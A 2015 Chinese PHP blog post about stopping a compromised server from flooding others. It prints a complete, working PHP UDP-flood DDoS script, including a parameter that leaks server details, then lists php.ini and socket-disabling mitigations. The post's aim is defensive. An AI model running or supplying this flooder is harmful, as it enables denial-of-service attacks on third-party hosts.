php的ddos攻击解决方法


Posted in PHP onJanuary 08, 2015

本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下:

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.

先看源码,代码如下:

<?php 

set_time_limit(999999); 

$host = $_GET['host']; 

$port = $_GET['port']; 

$exec_time = $_GET['time']; 

$Sendlen = 65535; 

$packets = 0; 

ignore_user_abort(True); 

 

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 

        if (StrLen($_GET['rat'])<>0){ 

                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 

                exit; 

            } 

        echo "Parameters can not be empty!"; 

        exit; 

    } 

 

for($i=0;$i<$Sendlen;$i++){ 

        $out .= "A"; 

    } 

 

$max_time = time()+$exec_time; 

 

while(1){ 

    $packets++; 

    if(time() > $max_time){ 

        break; 

    } 

    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 

        if($fp){ 

            fwrite($fp, $out); 

            fclose($fp); 

    } 

} 

 

echo "Send Host:$host:$port<br><br>"; 

echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; 

echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; 

?>

关键代码在于如下:
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.

这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.

php.ini里设置,代码如下:

allow_url_fopen = Off

如果这样他还是能发包,代码如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.

另外有网友说,让脚本不允许设置为不超时很简单:

1. 把set_time_limit函数禁用

2. 启用PHP的安全模式(safe_mode=on).

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
用ADODB来让PHP操作ACCESS数据库的方法
Dec 31 PHP
PHP图片处理类 phpThumb参数用法介绍
Mar 11 PHP
php shell超强免杀、减少体积工具实现代码
Oct 16 PHP
用Php编写注册后Email激活验证的实例代码
Mar 11 PHP
phpnow php探针环境检测代码
Nov 04 PHP
typecho插件编写教程(二):写一个新插件
May 28 PHP
PHP编写学校网站上新生注册登陆程序的实例分享
Mar 21 PHP
PHP检测链接是否存在的代码实例分享
May 06 PHP
windows server 2008/2012安装php iis7 mysql环境搭建教程
Jun 30 PHP
Yii数据模型中rules类验证器用法分析
Jul 15 PHP
用php+ajax新建流程(请假、进货、出货等)
Jun 11 PHP
详解PHP中的外观模式facade pattern
Feb 05 PHP
php的sso单点登录实现方法
Jan 08 #PHP
PHP制作万年历
Jan 07 #PHP
CI框架中通过hook的方式实现简单的权限控制
Jan 07 #PHP
CI框架中site_url()和base_url()的区别
Jan 07 #PHP
给ECShop添加最新评论
Jan 07 #PHP
php程序总是提示验证码输入有误解决方案
Jan 07 #PHP
WampServer下安装多个版本的PHP、mysql、apache图文教程
Jan 07 #PHP
You might like
WordPress中获取所使用的模板的页面ID的简单方法
2015/12/31 PHP
学习PHP Cookie处理函数
2016/08/09 PHP
php实现当前页面点击下载文件的简单方法
2016/09/22 PHP
php实现xml转换数组的方法示例
2017/02/03 PHP
PHP实现获取第一个中文首字母并进行排序的方法
2017/05/09 PHP
原生js实现半透明遮罩层效果具体代码
2013/06/06 Javascript
JavaScript onkeypress事件入门实例(按下或按住一个键盘按键)
2014/10/17 Javascript
Javascript 完美运动框架(逐行分析代码,让你轻松了运动的原理)
2015/01/23 Javascript
JavaScript DOM元素尺寸和位置
2015/04/13 Javascript
动态加载jQuery的两种方法实例分析
2015/07/17 Javascript
JS函数的几种定义方式分析
2015/12/17 Javascript
理解Angular的providers给Http添加默认headers
2017/07/04 Javascript
webpack 1.x升级过程中的踩坑总结大全
2017/08/09 Javascript
JavaScript实现的超简单计算器功能示例
2017/12/23 Javascript
微信小程序js文件改变参数并在视图上及时更新【推荐】
2018/06/11 Javascript
vue.js中proxyTable 转发请求的实现方法
2018/09/20 Javascript
微信小程序自定义tabBar组件开发详解
2020/09/24 Javascript
ionic2.0双击返回键退出应用
2019/09/17 Javascript
element-ui table组件如何使用render属性的实现
2019/11/04 Javascript
html2canvas属性和使用方法以及如何使用html2canvas将HTML内容写入Canvas生成图片
2020/01/12 Javascript
[56:58]VP vs Optic 2018国际邀请赛小组赛BO2 第一场 8.16
2018/08/17 DOTA
Python中unittest用法实例
2014/09/25 Python
Python数据类型详解(三)元祖:tuple
2016/05/08 Python
使用python在本地电脑上快速处理数据
2017/06/22 Python
python+opencv实现阈值分割
2018/12/26 Python
详解使用python绘制混淆矩阵(confusion_matrix)
2019/07/14 Python
Python SSL证书验证问题解决方案
2020/01/13 Python
scrapy-redis分布式爬虫的搭建过程(理论篇)
2020/09/29 Python
Python 中的函数装饰器和闭包详解
2021/02/06 Python
pycharm配置安装autopep8自动规范代码的实现
2021/03/02 Python
Keds官方网站:购买帆布运动鞋和经典皮鞋
2016/11/12 全球购物
前台接待员岗位职责
2015/04/15 职场文书
2019旅游导游工作总结
2019/06/27 职场文书
Python爬虫之爬取某文库文档数据
2021/04/21 Python
如何设计高效合理的MySQL查询语句
2021/05/26 MySQL
java中为什么说子类的构造方法默认访问的是父类的无参构造方法
2022/04/13 Java/Android